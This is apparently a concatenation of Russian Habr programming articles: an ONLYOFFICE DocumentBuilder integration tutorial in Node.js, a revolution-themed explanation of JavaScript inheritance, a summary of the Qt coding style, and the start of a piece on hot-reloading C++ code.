Есть несколько вариантов как это сделать, и самый простой — это скачать desktop-версию редакторов ONLYOFFICE и написать макрос, который создаст документ, используя данные. А потом дописать к макросу создание и сохранение файла — получится скрипт для билдера. Это сработает, потому что макросы и билдер используют один и тот же API.
Создание скрипта для билдера
----------------------------
Начинаем с инициализации объекта страницы и добавления данных, которые пришли от пользователя:
```
const Document = Api.GetDocument();
const data =
{"userData":{"fillName":"Rotatyy Dmitryi","phoneNumber":"89879879898","email":"flamine@list.ru","profile":"Hi, my name is Joe\nAnd I work in a button factory\nI got a wife and two kids\nOne day, my boss says, “Joe, are you busy?”\nI said, “no”\n“Then push this button with your right hand”","country":"Russia","city":"Nizhniy Novgorod","education":{"degree":"Master of Pupets","university":"Nizhny novgorod state technical university","location":"Nizhniy Novgorod","year":"2015-05-02"},"skills":["apple.js","vintage.js","zerg.js","css","html","linux"]}};
```
Теперь нужно добавить параграф с полным именем пользователя. Он написан 14 шрифтом, жирным, и у этого параграфа line spacing равен 1.15.
```
let paragraph = document.GetElement(0); // в документе всегда есть первый параграф
FullName_style = Document.CreateStyle("FullName"); // создаем новый стиль
FullName_style.GetTextPr().SetFontSize(28); // меняем размер шрифта
FullName_style.GetTextPr().SetBold(true); // добавляем bold
paragraph.SetStyle(FullName_style); // применяем созданный стиль к параграфу
paragraph.SetSpacingLine(1.15 * 240, "auto"); // меняем межстрочный интервал
paragraph.AddText(data.userData.fillName); // добавляем текст в параграф
```
**Также добавляем и остальные параграфы:**
```
// Country and city
const CountryCity_style = Document.CreateStyle("CountryCity");
CountryCity_style.GetTextPr().SetFontSize(20);
CountryCity_style.GetTextPr().SetCaps(true);
CountryCity_style.GetTextPr().SetBold(true);
paragraph = Api.CreateParagraph();
paragraph.AddText(data.userData.country + ', ' + data.userData.city);
paragraph.SetStyle(CountryCity_style);
paragraph.SetSpacingAfter(0);
Document.Push(paragraph);
// phone number
const PhoneNumber_style = Document.CreateStyle("PhoneNumber");
PhoneNumber_style.GetTextPr().SetFontSize(20);
PhoneNumber_style.GetParaPr().SetSpacingAfter(0);
PhoneNumber_style.GetTextPr().SetBold(true);
paragraph = Api.CreateParagraph();
paragraph.AddText(data.userData.phoneNumber);
paragraph.SetStyle(PhoneNumber_style);
Document.Push(paragraph);
// email
const Email_style = Document.CreateStyle("Email");
Email_style.GetTextPr().SetFontSize(18);
Email_style.GetParaPr().SetSpacingAfter(0);
Email_style.GetTextPr().SetBold(true);
paragraph = Api.CreateParagraph();
paragraph.AddText(data.userData.email);
paragraph.SetStyle(Email_style);
Document.Push(paragraph);
// SectionHeader style
const SectionHeader = Document.CreateStyle("SectionHeader");
SectionHeader.GetTextPr().SetBold(true);
SectionHeader.GetTextPr().SetColor(247, 93, 93, false);
SectionHeader.GetTextPr().SetFontSize(28);
SectionHeader.GetParaPr().SetSpacingBefore(1.33 * 240);
SectionHeader.GetParaPr().SetSpacingLine(1 * 240, "auto");
// add header Profile:
paragraph = Api.CreateParagraph();
paragraph.AddText("Profile:")
paragraph.SetStyle(SectionHeader);
Document.Push(paragraph);
// add profile text:
paragraph = Api.CreateParagraph();
paragraph.AddText(data.userData.profile)
Document.Push(paragraph);
// add header Education:
paragraph = Api.CreateParagraph();
paragraph.AddText("Education:")
paragraph.SetStyle(SectionHeader);
Document.Push(paragraph);
// add education year:
const EducationYear_style = Document.CreateStyle("EducationYear");
EducationYear_style.GetTextPr().SetColor(102, 102, 102);
EducationYear_style.GetTextPr().SetFontSize(18);
EducationYear_style.GetParaPr().SetSpacingAfter(0);
paragraph = Api.CreateParagraph();
paragraph.SetStyle(EducationYear_style);
paragraph.AddText(data.userData.education.year)
Document.Push(paragraph);
// add education university:
paragraph = Api.CreateParagraph();
run = Api.CreateRun();
run.AddText(data.userData.education.university)
run.AddText(', ')
run.AddText(data.userData.education.location)
run.SetBold(true);
paragraph.AddElement(run);
run = Api.CreateRun();
run.AddText(' – ' + data.userData.education.degree)
paragraph.AddElement(run);
Document.Push(paragraph);
// add header Skills:
paragraph = Api.CreateParagraph();
paragraph.AddText("Skills:")
paragraph.SetStyle(SectionHeader);
Document.Push(paragraph);
// add skills text:
paragraph = Api.CreateParagraph();
const skills = data.userData.skills.map(x => ' ' + x).toString();
paragraph.AddText(skills)
Document.Push(paragraph);
```
Исполнив этот скрипт, мы получим такой документ:
Теперь пришло время добавить функции для записи кода скрипта в файл и генерации документа.
Генерируем скрипт -> записываем в файл -> отдаем файл билдеру -> возвращаем пользователю ссылку на файл.
Добавляем подключение дополнений для работы с файлами и запуска команд с помощью Node.js, а также создаем папку «public» и делаем ее публичной:
```
const {exec} = require('child_process');
const fs = require('fs');
app.use(express.static('public'));
```
Функция для генерации текста со скриптом будет очень простой — она просто будет возвращать строку со всем кодом для билдера, добавляя при этом пользовательские данные. Важно добавить символ переноса строки в конце каждой строки, иначе ничего не заработает.
```
generate_script = (data) => {
let first_template = 'builder.CreateFile("docx");\n' +
'const Document = Api.GetDocument();\n';
first_template += 'const data = ' + JSON.stringify(data) + ';\n';
first_template += 'let paragraph = Document.GetElement(0);\n' +
'FullName_style = Document.CreateStyle("FullName");\n' + .... остальной код
~~~~~~~~~~~
return first_template;
};
```
Теперь нужно записать скрипт в файл и отдать его билдеру. По сути, вся работа с билдером будет сводиться к тому, что нам нужно исполнить команду `documentbuilder path/script.js с помощью Node.js`
Напишем функцию build, которая будет это делать:
```
build = (data, res) => {
const filename = Math.random().toString(36).substring(7) + '.docx'; // случайное имя файла
let script = generate_script(data);
script += 'builder.SaveFile("docx", "' + __dirname + '/public/' + filename + '");\n' + 'builder.CloseFile();';
fs.writeFile('public/' + filename + 'js', script, () => {
exec('documentbuilder ' + 'public/' + filename + 'js', () => { res.send({'filename': filename }); });
});
};
```
Добавляем вызов метода build(req.body, res); при post запросе
```
app.post('/', (req, res) => {
build(req.body, res);
});
```
И все готово. На всякий случай полный код примера я выложил [сюда](https://github.com/no-flamine/documentbuilder-integration-example-nodejs).
Так можно встроить ONLYOFFICE DocumentBuilder в web-приложение.
Надеюсь, что несмотря на большое количество упрощений, все понятно. Я использовал только необходимый минимум кода, чтобы показать, как все работает.
В данный момент есть мысли допилить утилиту и расширить спектр решаемых проблем. Буду признателен, если вы поделитесь реальными кейсами генерации документов (ну и таблиц с презентациями, конечно, тоже) в комментариях или в личке. | https://habr.com/ru/post/466217/ | null | ru | null |
# Революция в JavaScript. Буквально
Сегодня 22 апреля юбилейного 2017 года, день рождения человека, без которого не состоялись бы события столетней давности. А значит, есть повод поговорить о революционной истории. Но причём тут Хабр? — Оказалось, всё в этом мире может иметь самую неожиданную связь.
Как мы знаем, JavaScript может рассматриваться как объектно-ориентированный язык в том смысле, что «всё сводится к объектам» (на самом деле, прототипу объекта). С другой стороны, в широком философском вопросе, мы тоже то и дело имеем дело с объектами и прототипами. Например, при рассмотрении объекта Революции и его прототипа, описанного в «Капитале». Так давайте просто поговорим о тех событиях современным языком!
> Со всей революционной прямотой, сразу козыри на стол!
>
> Данная статья является по сути кратким пояснением к механизму наследования в JavaScript, то есть одной из сторон ООП. Передовые пролетарии-разработчики не найдут в ней абсолютно ничего нового. Однако надеюсь, материал может послужить запоминающейся, образной памяткой для широкого круга интересующихся разработкой на JS. Кроме того, возможно, кто-то подтянет свои знания по отечественной истории
>
>
Создадим два объекта:
```
var stalin = {
gulag: true,
mustache: true,
hero: 1
}
var lenin = {
baldHead: true,
armand: false,
criticalImperialism: true
}
```
Укажем, что один объект является наследником другого через свойство *\_\_proto\_\_* (такая форма записи доступна во всех браузерах, кроме IE10-, и [включена в ES2015](http://www.ecma-international.org/ecma-262/6.0/)). Один наследник, а другой — прототип. Проверяем свойства объекта-наследника, там появилось \_\_proto\_\_:
```
stalin.__proto__ = lenin;
console.log(stalin);
```
Если свойство не обнаруживается непосредственно в объекте, оно ищется в родительском объекте (прототипе). Попробуем:
```
console.log(stalin.baldHead); // true
```
Да, свойство доступно, однако его значение нас не устраивает. Перезаписываем его, при этом свойство родительского объекта не меняется:
```
stalin.baldHead = false;
console.log(lenin.baldHead); // true - свойство в прототипе не поменялось
```
Кстати, а что является прототипом прототипа?
В JS объект, кроме одного случая (об этом ниже) наследует от Object.\_\_proto\_\_ (посмотрите в консоли). В том числе, стандартные методы, доступные по умолчанию: такие, например, как Object.toString(), Object.valueOf() и так далее.
А как нам перечислить свойства непосредственно объекта, без свойств его родителя, чтобы не выполнять лишние операции? – Для этого есть hasOwnProperty:
```
for (var key in stalin) {
if (stalin.hasOwnProperty(key)) console.log(key + ": " + stalin[key])
}
```
Кстати, если объект уже имеет своё свойство, то после присвоения прототипа оно не будет затёрто значением из прототипа, а останется как было:
```
var dzerjinskiy = {
mustache: true,
baldHead: false
}
dzerjinskiy.__proto__ = lenin;
console.log(dzerjinskiy.baldHead); // false - при присвоении прототипа осталось тем же
```
Наконец, может понадобиться простой объект-пустышка без свойств, который нужен только для записи значений. Тогда нам не придётся при перечислении его свойств проверять hasOwnProperty:
```
var zyuganov = Object.create(null);
zyuganov.experience = 25;
console.log(zyuganov.toString); // undefined
```
При проверке выясняется, что у пустого объекта нет даже стандартных методов, таких, как toString(). Кстати, выше был использован метод Object.create(prototype[, {}]) — метод, позволяющий создать объект с обязательным указанием прототипа (в т.ч. null) и свойствами (не обязательно).
**F.prototype и new**
Можно создать конструктор, чтобы проще было создавать экземпляры, родителем которых является единственный объект:
```
var marks = {
marxism: true,
engels: "friend",
beard: 80
}
function Marksist(name) {
this._name = name;
this.__proto__ = marks;
}
var kamenev = new Marksist("kamenev");
console.log(kamenev);
```
Видим, что тов. Каменев тоже имеет бороду
Однако что насчёт Революции? Можно добавить в прототип новое значение и метод, тогда и потомок может использовать этот метод:
```
marks.revolution = "future";
marks.deal = function() {return this.revolution}; // this ссылается на объект marks
```
Новое значение появилось в потомке:
```
console.log(kamenev.revolution); // "future"
```
**Мы добавляем свойство или метод в прототип, и оно появляется у потомков без необходимости их переопределения. Сила прототипного наследования!**
Естественно, значение в потомке можно модифицировать, остальных потомков прототипа это не коснётся:
```
kamenev.revolution = "now";
console.log(kamenev.deal()); // "now"
```
Как видно, у объекта изначально не было метода, однако после добавления метода в прототип, мы можем вызывать его, мало того, с модифицированными в потомке значениями.
Для поддержки во всех браузерах, в т.ч. старых, есть другой способ:
```
function Marksist(name) {
this._name = name;
}
Marksist.prototype = marks;
var kamenev = new Marksist("Каменев");
console.log(kamenev); // выведет объект с одним своим свойством и объектом marks в __proto__
```
*Prototype* имеет смысл только в конструкторах (пишутся в JS с большой буквы), он по сути выполняет лишь одно действие, а именно: указывает, куда ссылаться свойству \_\_proto\_\_ при инициализации функции-конструктора.
Если мы уже после создания первого объекта хотим создать второй, указав ему другой прототип, прототип первого объекта не изменится:
```
Marksist.prototype = {};
var chicherin = new Marksist("Чичерин");
console.log(chicherin.marxism); // undefined, в свойстве __proto__ будет стандартный прототип Object
console.log(kamenev.marxism); // по-прежнему true, в свойстве __proto__ будет объект marks
```
Видно, что у нового объекта с пустым прототипом нет унаследованных свойств, как у первого объекта. Но всё можно переиграть на лету:
```
Marksist.prototype = marks;
var zinovev = new Marksist("Зиновьев");
console.log(zinovev.marksizm); // true
console.log(zinovev.deal()); // future
```
**Следует отметить, что изменение прототипов считается весьма затратной операцией, поэтому играть с прототипами “на лету” не рекомендуется!**
В прототипе мы также можем задавать методы, которые будут использовать все потомки:
```
var marks = {
marxism: true,
engels: "friend",
beard: 80,
shout: function(){
alert("Я есть товарищ " + this._name + "!")
}
}
function Marksist(name) {
this._name = name;
}
Marksist.prototype = marks;
var dzerjinskiy = new Marksist("Дзержинский");
dzerjinskiy.shout(); // Я есть товарищ Дзержинский!
```
Здесь this – это объект, у которого вызывается функция из прототипа, в данном случае Дзержинский.
> Правильно Феликс Эдмундович нас предупреждает: в JavaScript всегда надо быть бдительным насчёт того, куда в данный момент указывает ключевое слово *this*
Можно проверить, а является ли объект наследником конструктора, с помощью оператора instanceof:
```
var zemlyachka = function(tov) {
var res = false;
if (tov instanceof Marksist) res = true;
return res;
}
console.log(zemlyachka(zinovev)); // true
```
Приводим оппортуниста, который будет иметь на практике все те же свойства и методы, что и обычный марксист:
```
var opportunist = {
name: "Преображенский",
marxism: true,
engels: "friend",
beard: 80,
shout: function(){
alert("Я есть товарищ " + this.name + "!")
}
};
opportunist.shout();
```
Можем даже сообщить ему то же единственное собственное свойство, а остальные определить в его прототипе, то есть сохранить ровно ту же структуру, что и у предыдущих объектов:
```
var plehanov = {
marxism: true,
engels: "friend",
beard: 80,
shout: function(){
alert("Я есть товарищ " + this._name + "!")
}
}
function Socialist (name){
this._name = name;
}
Socialist.prototype = plehanov;
var opportunist = new Socialist("Попутчик");
console.log(opportunist);
// структура объекта и прототипа идентичная таковой объекта var zinovev = new Marksist, имена свойств те же
```
Однако на проверке он завалится:
```
console.log(zemlyachka(opportunist)); // false
```
> Розалия Самойловна видит объект насквозь. Есть и другой подход к проверке объектов — **Duck Typing**Если это выглядит как утка, плавает как утка и крякает как утка, то это, возможно, и есть утка.
>
> Если ~~субъект~~ объект ведёт себя так, как нам нужно, то мы считаем его ~~коммунистом~~ тем, кем нужно считать, несмотря на его происхождение
Однако и проверенные коммунисты иногда могут ошибаться. Оператор instanceof сравнивает только прототипы объекта и конструктора, поэтому возможны коллизии наподобие этой:
```
var troczkiy = new Marksist("Троцкий");
Marksist.prototype = {};
console.log(troczkiy instanceof Marksist); // опа, 1940-й год подкрался незаметно!
```
Ну и конечно помним, что всё в JS является объектом (а если точнее, в цепочке прототипов все объекты, кроме специальных пустых, приходят к *Object.prototype*), поэтому проверка оба раза выдаст *true*:
```
var john_reed = [10];
console.log(john_reed instanceof Array); // true
console.log(john_reed instanceof Object); // true
```
**Свойство constructor**
У функций-конструкторов (да и вообще всех функций) есть свойство *prototype*, в котором записан *constructor*: он возвращает ссылку на функцию, создавшую прототип экземпляра. Его можно легко потерять в дальнейших преобразованиях, т.к. JS не обязан сохранять эту ссылку. Допустим, мы решили всё-таки выяснить политические корни Льва Давыдовича:
```
var marks = {
marxism: true,
engels: "friend",
beard: 80
}
function Marksist(name) {
this._name = name;
}
Marksist.prototype = marks;
var troczkiy = new Marksist("Троцкий");
var Congress = troczkiy.constructor;
var retrospective = new Congress("My life");
console.log(retrospective); // чёрти что, конструктор делает явно не то, чего мы от него ожидаем!
```
Очевидно, мы не смогли вызвать ту же функцию-конструктор, которая создала бы нам новый объект, идентичный первому (хотя *constructor*, по идее, должен был бы указывать на неё!). Чтобы получить нужный результат, просто сохраним свойство *constructor* в прототипе Marksist:
```
var marks = {
marxism: true,
engels: "friend",
beard: 80
}
function Marksist(name) {
this._name = name;
}
Marksist.prototype = marks;
Marksist.prototype.constructor = Marksist;
var troczkiy = new Marksist("Троцкий");
var Congress = troczkiy.constructor;
var retrospective = new Congress("My life");
console.log(retrospective); // вот теперь всё как нужно!
```
Таким образом, нам не обязательно знать, каким конструктором создавался экземпляр, от которого теперь мы создаём новый экземпляр. Эта информация записана в самом экземпляре.
Глядя на эти преобразования, может прийти мысль переопределять свойства и методы встроенных прототипов JavaScript. Говоря революционным языком, перейти на глобальный, земшарный уровень
Нас ничто не остановит от того, чтобы, например, поменять метод Object.prototype:
```
Object.prototype.toString = function(){
alert("К стене!")
}
```
Или даже не такой экстремистский пример:
```
Array.prototype.manifest= function(){
return "Призрак бродит по Европе - призрак коммунизма";
}
```
Такой стиль изменения классов (здесь точнее было бы сказать прототипов) называется monkey patching.
Опасности две. Во-первых, расширяя или изменяя встроенные прототипы, мы делаем доступными изменения для всех объектов, лежащих ниже по цепочке наследования свойств (для Object.prototype — это вообще все сущности JS). Потом, используя такой метод, мы рискуем назвать новое свойство старым именем, тем самым затерев его. Если в пределах одной цепочки прототипов мы можем помнить имена свойств, в составе большого проекта, где, к тому же, могут подключаться другие скрипты, содержимое прототипов базовых сущностей, как и глобальный объект, лучше не трогать, иначе последствия будут непредсказуемые.
И во-вторых, переопределение в процессе выполнения программы может приводить к неочевидным результатам:
```
var pss = {
name: "Полное собрание сочинений",
author: "Ленин",
length: 20
}
var Books = function(){};
Books.prototype = pss;
var firstEdition = new Books;
console.log(firstEdition.length); // 20
var extendLenin = function(year){
if (!year) var year = new Date().getFullYear();
if (year > 1925 && year < 1932) pss.length = 30;
if (year > 1941 && year < 1966) pss.length = 35;
if (year > 1966) pss.length = 55;
}
extendLenin();
var fourthEdition = new Books;
console.log(fourthEdition.length); // ??
```
Поведение свойств объектов, наследующих от прототипа (т.н. «экземпляров класса») может быть не таким, как мы предполагаем.
**Функциональное наследование**
В JavaScript, кроме прототипной парадигмы наследования, используется также функциональная. На примере одного из героев Революции посмотрим, как она реализуется.
Создадим конструктор, который:
а) Принимает параметры
б) Обладает публичными методами, которые предполагаются для использования извне конструктора и его производных
в) Обладает приватными методами, которые, как предполагаются, будут использоваться только внутри конструктора и его производных
Перед нами типичный коммунист:
```
var Kommunist = function(principles) {
if (!principles) principles = {};
this._start = 1902;
if (principles && principles.start) this._start = principles.start;
// публичный метод, предполагается к использованию извне
this.response = function() {
alert("Наше дело правое!")
}
// приватный метод, по соглашению доступен внутри конструктора и его потомков
this._experience = function() {
return (this._start);
}
this.principles = (Object.keys(principles).length > 0 ? principles : {fidelity: 100});
this._getPrinciples = function() {
return this.principles
}
}
```
Приватные методы принято писать, начиная с нижнего подчёркивания.
Итак, у нас есть конструктор с набором методов, готовый принимать и обрабатывать аргументы. Создаём экземпляр класса:
```
function Voroshilov(principles) {
Kommunist.apply(this, arguments);
// расширяем метод конструктора
var parentExperience = this._experience;
this._experience = function() {
return ("Стаж в ВКП(б) с " + parentExperience.apply(this, arguments));
}
// публичные методы, обращаемся к ним извне
// геттеры
this.getPrinciples = function() {
var p = this._getPrinciples();
var char = {
fidelity: p.fidelity,
persistence: p.persistence || "достаточная!"
}
console.log("Верность: " + char.fidelity + ", стойкость: " + char.persistence)
}
this.getExperience = function() {
console.log(this._experience());
alert("Опыт ого-го!");
}
// сеттер
this.setExperience = function() {
this._experience = function() {
return ("Стаж в ВКП(б) со Второго съезда");
}
}
}
var ke = {fidelity: 101, persistence: 100, start: 1903}
var voroshilov = new Voroshilov(ke);
```
Обратите внимание: конструктор вызывается относительно *this*, чтобы записать в него все свои методы, и с массивом *arguments*, в котором содержатся все аргументы, заданные при вызове (объект *ke*).
Дальше мы можем наблюдать, как работают геттер и сеттер, а также другие публичные методы:
```
voroshilov.getExperience(); // получили значение
voroshilov.setExperience(); // заменили метод предустановленным в экземпляре класса
voroshilov.getExperience(); // получили новое значение
voroshilov.getPrinciples(); // получили результат выполнения публичного метода с заданными параметрами
```
Для разнообразия можно вызвать конструктор без параметров.
**Классовая сущность**
Наконец, с выходом ES6 (ES2015) у нас появилась возможность использовать инструкцию *class* непосредственно в JavaScript. По сути, в устройстве прототипного наследования ничего не изменилось, однако теперь JS поддерживает синтаксический сахар, который будет более привычен многим программистам, пришедшим из других языков.
```
class Marksist {
constructor(name) {
this._name = name
}
enemy() {
return "capitalism"
}
static revolution(){
return "Революция нужна"
}
}
```
У классов JS есть три вида методов:
— constructor (выполняется при инициализации экземпляра класса);
— static (статичные методы, доступные при вызове класса, но недоступные в экземплярах);
— обычные методы.
Теперь запомним в константе (ES6 допускает и такой тип переменных) очень важную дату, а далее определим меньшевика, который является наследником марксиста:
```
const cleavage = 1903;
class Menshevik extends Marksist {
constructor(name) {
super();
this._name = name;
}
static revolution() {
var r = super.revolution();
return r + ", но потом";
}
["che" + cleavage]() {
alert("Пароль верный!")
}
hurt() {
alert("Ленин был прав")
}
}
let chkheidze = new Menshevik("Чхеидзе");
```
Здесь есть два новшества:
— *super()* в первом случае инициализирует конструктор базового класса, во втором вызывает метод, к которому мы в потомке добавляем новое поведение;
— вычисляемые имена методов (*[«che» + cleavage]*), теперь нам не обязательно сразу знать имя метода.
Статический метод доступен при вызове класса, но не при вызове экземпляра:
```
console.log(Menshevik.revolution()); // работает
console.log(chkheidze.revolution()); // is not a function, в экземпляре её нет
```
Результат выполнения следующего кода уже понятен:
```
chkheidze.hurt(); // вызов метода класса
console.log(chkheidze.enemy()); // вызов метода базового класса
chkheidze.che1903(); // вызов метода с вычисляемым именем
```
Выше были показаны самые основные особенности наследования через классы (*class*) в JavaScript. Сознательный пролетарий при должной революционной настойчивости найдёт в сети немало статей, более полно освещающий вопрос нововведений в ES6. | https://habr.com/ru/post/324640/ | null | ru | null |
# Qt Coding Style
Привет, хабражители!
Сейчас какой-то спец с многолетним опытом работы с Qt подумал: «Что за фигня? Хабр — для вещей покруче!». Но ведь даже спецам с многолетним опытом иногда надо читать вот такие статьи про простые вещи, ведь это — важно. Код — это одна из самых важных составляющих программирования. А наша задача — держать его в чистоте. Эта статья посвящена всем Qt программистам которые стремятся к идеалу.
Конечно есть статья на Qt Project — [Qt Coding Style](http://qt-project.org/wiki/Qt_Coding_Style). Только вот там материала ценного меньше…
Постулат №1. Выравнивание
=========================
В Qt принято использовать отступы по 4 пробела. Но именно 4, и именно пробела. Использовать \t или другую ширину пробелов считается ужасно плохим тоном ~~и жестоко карается~~.
Постулат №2. Объявление переменных
==================================
Один из самых важных постулатов, так как определяет читабельность и общий стиль кода. Правила объявления переменных собраны в такой список:
* Объявлять каждую переменную на отдельной строчке
* Избегать коротких или немногословных названий (например «a», «rbarr», «nughdeget»)
* Дождитесь, пока переменная будет нужна, и только тогда объявляйте ее
* Функции и переменные должны быть в camelCase
* Избегайте аббревиатур и всяческих сокращений
* Классы всегда должны начинаться с заглавной буквы
* Публичные классы должны начинаться с буквы ‘Q’ (QRgb), затем заглавная буква
* Публичные функции должны начинаться с буквы ‘q’ (qRgb)
* Аббревиатуры должны быть в PascalCase (например QXmlStreamReader вместо QXMLStreamReader)
```
// Неправильно
int a, b;
char *c, *d;
// Правильно
int height;
int width;
char *nameOfThis;
char *nameOfThat;
```
```
// Неправильно
short Cntr;
char ITEM_DELIM = '\t';
// Правильно
short counter;
char itemDelimiter = '\t';
```
Постулат №3. Пробелы
====================
Пробелы — очень важный элемент форматирования исходного кода. Он отыгрывает очень большую роль в читабельности кода.
* Используйте пробелы для группировки отдельных сегментов кода
* Для разделения можно использовать только одну пустую линию
* Всегда использовать только один, и только один пробел после ключевого слова и фигурной скобки
* Для указателей и ссылок, всегда используйте один пробел между типом и ‘\*’ или ‘&’, но никогда не ставьте пробел между ‘\*’ или ‘&’ и названием переменной
* Окружайте бинарные операторы пробелами
* Никаких пробелов после приведения типов
* Старайтесь избегать С-подобных приведений
```
// Неправильно
if (foo){
}
// Правильно
if (foo) {
}
```
```
char *x;
const QString &myString
const char * const y = "hello";
MyClass *obj = new MyClass(this);
bool ok;
obj.report(1, &ok);
```
```
// Неправильно
char* blockOfMemory = (char* ) malloc(data.size());
QTextStrem newOne(..);
newOne<<"Hello"<<","<<" "<<"world";
// Правильно
char *blockOfMemory = reinterpret_cast(malloc(data.size()));
QTextStrem newOne(..);
newOne<< "Hello" << "," << " " << "world";
```
Постулат №4. Скобки
===================
Скобки — это вообще отдельная тема. Они, как и пробелы, отыгрывают львиную долю во внешнем виде и читабельности кода
* В качестве основного правила, левая фигурная скобка находится на той же строчке, что и оператор:
* **Исключение**: Реализация функций и объявления классов всегда, абсолютно всегда располагают левую скобку на новой строчке:
* Используйте фигурные скобки когда тело условия содержит более одной линии, и если однострочный оператор — что-то комплексное
* **Исключение 1**: Также используйте скобки если родительский оператор занимает несколько линий или оберток
* **Исключение 2**: Также используйте скобки в if-else блоках где if-код или else-код занимает несколько линий
* Используйте фигурные скобки когда тело оператора — пустое
```
static void foo(int g)
{
qDebug("foo: %i", g);
}
class Moo
{
public:
Moo();
Moo(int a, int b);
public slots:
int getResult();
protected slots:
void processNumbers();
private:
int mineA;
int mineB;
int mineResult;
};
```
```
// Неправильно
if (address.isEmpty()) {
return false;
}
for (int i = 0; i < 10; ++i) {
qDebug("%i", i);
}
// Правильно
if (address.isEmpty())
return false;
for (int i = 0; i < 10; ++i)
qDebug("%i", i);
```
```
// Неправильно
while (a);
if (expression) else
// do something
// Правильно
while (a) {}
if (expression) {
} else {
// do something
}
```
```
// Неправильно
if (codec)
{
// do something
}
// Правильно
if (codec) {
// do something
}
```
```
// Неправильно
if (address.isEmpty())
return false;
else {
qDebug("%s", qPrintable(address));
++it;
}
// Правильно
if (address.isEmpty()) {
return false;
} else {
qDebug("%s", qPrintable(address));
++it;
}
// Неправильно
if (a)
if (b)
...
else
...
// Правильно
if (a) {
if (b)
...
else
...
}
```
```
// Неправильно
if (address.isEmpty() || !isValid()
|| !codec)
return false;
// Правильно
if (address.isEmpty() || !isValid()
|| !codec) {
return false;
}
```
Постулат №5. Круглые скобки
===========================
Используйте круглые скобки чтобы группировать выражения:
```
// Неправильно
if (a && b || c)
if (a + b & c)
// Правильно
if ((a && b) || c)
if ((a + b) & c)
```
Постулат №6. Условия множественного выбора switch
=================================================
Безусловно, эти условия причина многих дискуссий со стороны разработчиков и создателей Coding Guidelines — там может быть очень много различных вариантов. Однако Qt предлагает именно такой вариант:
* Операторы case должны находиться в той же колонке, что и оператор switch
* Каждый случай должен заканчиваться оператором break (или return) или комментарием, чтобы показать чтоe далее следует другой случай
```
switch (myEnum) {
case Value1:
doSomething();
break;
case Value2:
case Value3:
doSomethingElse();
// fall through
default:
defaultHandling();
break;
}
```
Постулат №7. Разрыв строк
=========================
Часто происходит следующее: есть разработчик Вася с большим монитором. Он пишет себе код спокойно. Потом этот код открывает разработчик Петя, с ноутбуком, и прозревает — ему приходится много скроллить чтобы прочитать весь код. Это один из дефектов читабельности. Что же предлагает Qt для спасения?
* Старайтесь чтобы строки были не длиннее 100 символов; обрывайте их, если это необходимо
* Коммы располагаются в конце оборванной строки; операторы следует переносить в начале новой строки. Оператор в конце строки очень просто не увидеть если ваш редактор слишком узкий
```
// Неправильно
if (longExpression +
otherLongExpression +
otherOtherLongExpression) {
}
QMessageBox::information(d->someObjectWithLongName, tr("A long title for mesage"), tr("A very very very very very very long body", QMessageBox::Ok, QMessageBox::Cancel);
// Правильно
if (longExpression
+ otherLongExpression
+ otherOtherLongExpression) {
}
QMessageBox::information(d->someObjectWithLongName,
tr("A long title for mesage"),
tr("A very very very very very very long body",
QMessageBox::Ok, QMessageBox::Cancel);
```
**UPD: последний участок кода отображается неверное — там все строчки должны быть на одном уровне**
Постулат №8. Наследование и ключевое слово `virtual`
====================================================
В этом постулате все предельно просто — главное не писать `virtual` перед названием переопределяемого метода в .h файле.
```
// Неправильно
class MyWidget : public QWidget
{
...
protected:
virtual void keyPressEvent(QKeyEvent *);
// Правильно
class MyWidget : public QWidget
{
...
protected:
void keyPressEvent(QKeyEvent *);
```
Постулат №9. Общее исключение
=============================
Этот постулат гласит нам, что нет ничего плохого если вы нарушите какое-то правило, но только в том случае, если оно делает ваш код уродливым. Это хороший пример того, что у всех правил есть исключения, и того, что правила созданы чтобы их нарушать.
К сожалению, я не смог найти примера, когда Qt Coding Guidelines делают код — уродливым.
Завершение
==========
Боюсь что это конец моей статьи про стиль написания кода в Qt. Еще раз напомню что только он котируется для контрибьютинга в Qt, так что если вы собираетесь внести свою лепту в развитие проекта, вам так или иначе придется использовать эти постулаты, но не забывайте — правила можно нарушать:).
Для меня — Qt Coding Style просто идеальный стиль для написания кода. Я считаю его чистым, удобным, приятным. За все время его использования у меня не возникло никаких проблем с читабельностью кода. Буду ли я его рекомендовать? Конечно, да! Тем более, я считаю что именно его и надо пропагандировать всем новичкам на платформе Qt.
Спасибо за внимание. | https://habr.com/ru/post/150329/ | null | ru | null |
# Реализация горячей перезагрузки С++ кода в Linux и macOS: копаем глубже
\*Ссылка на библиотеку и демо видео в конце статьи. Для понимания того, что происходит, и кто все эти люди, рекомендую прочитать [предыдущую статью](https://habr.com/post/435260/).
В прошлой статье мы ознакомились с подходом, позволяющим осуществлять "горячую" перезагрузку c++ кода. "Код" в данном случае — это функции, данные и их согласованная работа друг с другом. С функциями особых проблем нет, перенаправляем поток выполнения из старой функции в новую, и все работает. Проблема возникает с данными (статическими и глобальными переменными), а именно со стратегией их синхронизации в старом и новом коде. В первой реализации эта стратегия была очень топорной: просто копируем значения всех статических переменных из старого кода в новый, чтобы новый код, ссылаясь на новые переменные, работал со значениями из старого кода. Конечно это некорректно, и сегодня мы попытаемся исправить этот изъян, попутно решив ряд небольших, но интересных задач.
В статье опущены детали, касающиеся механической работы, например чтение символов и релокаций из elf и mach-o файлов. Упор делается на тонких моментах, с которыми я столкнулся в процессе реализации, и которые могут быть полезны кому-то, кто, как и я недавно, ищет ответы.
### Суть
Давайте представим, что у нас есть класс (примеры синтетические, прошу не искать в них смысла, важен только код):
```
// Entity.hpp
class Entity
{
public:
Entity(const std::string& description);
~Entity();
void printDescription();
static int getLivingEntitiesCount();
private:
static int m_livingEntitiesCount;
std::string m_description;
};
// Entity.cpp
int Entity::m_livingEntitiesCount = 0;
Entity::Entity(const std::string& description)
: m_description(description)
{
m_livingEntitiesCount++;
}
Entity::~Entity()
{
m_livingEntitiesCount--;
}
int Entity::getLivingEntitiesCount()
{
return m_livingEntitiesCount;
}
void Entity::printDesctiption()
{
std::cout << m_description << std::endl;
}
```
Ничего особенного, кроме статической переменной. Теперь представим, что мы хотим изменить метод `printDescription()` на такой:
```
void Entity::printDescription()
{
std::cout << "DESCRIPTION: " << m_description << std::endl;
}
```
Что произойдет после перезагрузки кода? В библиотеку с новым кодом, кроме методов класса `Entity`, попадет и статическая переменная `m_livingEntitiesCount`. Ничего страшного не случится, если мы просто скопируем значение этой переменной из старого кода в новый, и продолжим пользоваться новой переменной, забыв о старой, ведь все методы, которые используют эту переменную напрямую, находятся в библиотеке с новым кодом.
